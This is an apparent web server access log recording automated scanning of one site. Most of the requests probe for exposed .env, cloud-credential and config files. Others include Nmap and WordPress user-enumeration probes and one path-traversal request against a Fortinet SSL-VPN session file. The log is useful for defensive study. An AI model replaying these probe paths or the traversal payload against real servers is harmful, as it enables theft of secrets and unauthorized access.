213.209.159.175 - - [12/Sep/2026:02:57:54 -0400] "GET /demo/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:54 -0400] "GET /core/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:54 -0400] "GET /test HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:54 -0400] "GET /.env.local HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:54 -0400] "GET /test.php HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:54 -0400] "GET /.config.yaml HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:54 -0400] "GET /.env.bak HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:54 -0400] "GET /secrets.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:54 -0400] "GET /config/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:55 -0400] "GET /crm/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:55 -0400] "GET /debug/default/view?panel=config HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:55 -0400] "GET /web/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:55 -0400] "GET /API/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:55 -0400] "GET /media/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:55 -0400] "GET /.env.prod HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:55 -0400] "GET /.env.save.1 HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:55 -0400] "GET /docs/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:55 -0400] "GET /client/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:55 -0400] "GET /images/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:56 -0400] "GET /server.js HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:56 -0400] "GET /static/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:56 -0400] "GET /cms/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:56 -0400] "GET /dashboard/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:56 -0400] "GET /config.js HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:56 -0400] "GET /info.php HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:56 -0400] "GET /settings/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:56 -0400] "GET /platform/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:56 -0400] "GET /.json HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:56 -0400] "GET /html/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:57 -0400] "GET /blogs/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:57 -0400] "GET /library/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:57 -0400] "GET /stage/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:57 -0400] "GET /portal/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:57 -0400] "GET /api/test HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:57 -0400] "GET /new/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:57 -0400] "GET /download/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:57 -0400] "GET /data/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:57 -0400] "GET /v2/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:57 -0400] "GET /application/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:58 -0400] "GET /system/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:58 -0400] "GET /public_html/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:58 -0400] "GET /old/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:58 -0400] "GET /.env.development HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:58 -0400] "GET /.env.backup HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:59 -0400] "GET /test/phpinfo/ HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:59 -0400] "GET /frontend/web/debug/default/view HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:59 -0400] "GET /app/config/parameters.yml HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:59 -0400] "GET /aws.yml HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:59 -0400] "GET /apis/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:59 -0400] "GET /login/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:59 -0400] "GET /auth/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:59 -0400] "GET /env.txt HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:59 -0400] "GET /Backend/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:57:59 -0400] "GET /services/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:00 -0400] "GET /uploads/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:00 -0400] "GET /saas/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:00 -0400] "GET /client_secrets.json HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:00 -0400] "GET /www/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:00 -0400] "GET /.env.json HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:00 -0400] "GET /developer/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:00 -0400] "GET /infos/ HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:00 -0400] "GET /apps/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:00 -0400] "GET /content/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:00 -0400] "GET /home/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:00 -0400] "GET /v3/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:00 -0400] "GET /project/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:01 -0400] "GET /config.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:01 -0400] "GET /docker-compose.yml HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:01 -0400] "GET /env.json HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:01 -0400] "GET /twilio.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:01 -0400] "GET /src/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:01 -0400] "GET /main/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:01 -0400] "GET /.env.php HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:01 -0400] "GET /.env.sample.php HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:01 -0400] "GET /.env.local.php HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:01 -0400] "GET /.env.production.php HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:01 -0400] "GET /config.dev.php HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:02 -0400] "GET /twilio/.env.php HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:02 -0400] "GET /config/.env.php HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:02 -0400] "GET /sendgrid/.env.php HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:02 -0400] "GET /.env.php.bak HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:02 -0400] "GET /.env.php-bak HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:02 -0400] "GET /.env.php-backup HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:02 -0400] "GET /.env.php.backup HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:02 -0400] "GET /test/.env.php HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:02 -0400] "GET /.env.example.php HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:02 -0400] "GET /app_dev.php/_profiler/.env HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:03 -0400] "GET /var/.env.local.php HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:03 -0400] "GET /_autoindex/assets/js/tablesort.js HTTP/2" 200 7706 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:03 -0400] "GET /_autoindex/assets/js/tablesort.number.js HTTP/2" 200 682 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:03 -0400] "GET /_autoindex/assets/js/tablesort.js.map HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
213.209.159.175 - - [12/Sep/2026:02:58:03 -0400] "GET /_autoindex/assets/js/tablesort.number.js.map HTTP/2" 404 1251 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"
121.43.117.73 - - [12/Sep/2026:03:25:23 -0400] "GET / HTTP/1.0" 200 23732 "-" "-"
121.43.117.73 - - [12/Sep/2026:03:31:01 -0400] "POST /sdk HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)"
121.43.117.73 - - [12/Sep/2026:03:31:13 -0400] "GET /nmaplowercheck1789198220 HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)"
121.43.117.73 - - [12/Sep/2026:03:31:14 -0400] "GET /evox/about HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)"
121.43.117.73 - - [12/Sep/2026:03:31:55 -0400] "GET /HNAP1 HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)"
121.43.117.73 - - [12/Sep/2026:03:32:31 -0400] "GET / HTTP/1.0" 200 23732 "-" "-"
121.43.117.73 - - [12/Sep/2026:03:32:32 -0400] "GET / HTTP/1.1" 200 23746 "-" "-"
66.132.195.122 - - [12/Sep/2026:03:52:13 -0400] "GET / HTTP/1.1" 200 3414 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
66.132.195.122 - - [12/Sep/2026:03:52:20 -0400] "GET /favicon.ico HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
66.132.195.122 - - [12/Sep/2026:03:53:32 -0400] "GET / HTTP/1.1" 200 3396 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
66.132.195.122 - - [12/Sep/2026:03:53:33 -0400] "GET /bestzyx.com-20260912031442/ HTTP/1.1" 301 0 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
66.132.195.122 - - [12/Sep/2026:03:54:13 -0400] "GET /wp-json/?_fields=name,description,home,gmt_offset,timezone_string,namespaces HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
66.132.195.122 - - [12/Sep/2026:03:54:17 -0400] "GET / HTTP/1.1" 200 3396 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
66.132.195.122 - - [12/Sep/2026:03:54:41 -0400] "GET /sitemap.xml HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
185.218.86.25 - - [12/Sep/2026:04:06:05 -0400] "GET / HTTP/1.1" 200 3414 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
2.27.248.209 - - [12/Sep/2026:04:07:46 -0400] "GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession HTTP/1.1" 404 1251 "-" "Mozilla/5.0"
98.84.1.175 - - [12/Sep/2026:04:34:58 -0400] "GET / HTTP/1.1" 200 3392 "-" "RecordedFuture Global Inventory Crawler"
104.152.52.211 - - [12/Sep/2026:04:43:43 -0400] "GET / HTTP/1.1" 200 23746 "-" "curl/7.61.1"
104.152.52.211 - - [12/Sep/2026:04:43:43 -0400] "GET /favicon.ico HTTP/1.1" 404 1251 "-" "curl/7.61.1"
45.156.128.43 - - [12/Sep/2026:04:58:31 -0400] "GET / HTTP/1.1" 200 3396 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36"
198.235.24.71 - - [12/Sep/2026:05:12:54 -0400] "GET /?rest_route=/wp/v2/users HTTP/1.1" 200 23746 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity"
198.235.24.71 - - [12/Sep/2026:05:12:54 -0400] "GET /wp-json/ HTTP/1.1" 404 1251 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity"
198.235.24.71 - - [12/Sep/2026:05:12:54 -0400] "GET /wp-json/wp/v2/users HTTP/1.1" 404 1251 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity"
205.210.31.209 - - [12/Sep/2026:05:13:16 -0400] "GET /wp-login.php HTTP/1.1" 404 1251 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity"
205.210.31.209 - - [12/Sep/2026:05:13:17 -0400] "GET /xmlrpc.php HTTP/1.1" 404 1251 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity"
43.133.69.37 - - [12/Sep/2026:05:42:26 -0400] "GET / HTTP/1.1" 200 3396 "http://163.245.207.76:443" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"

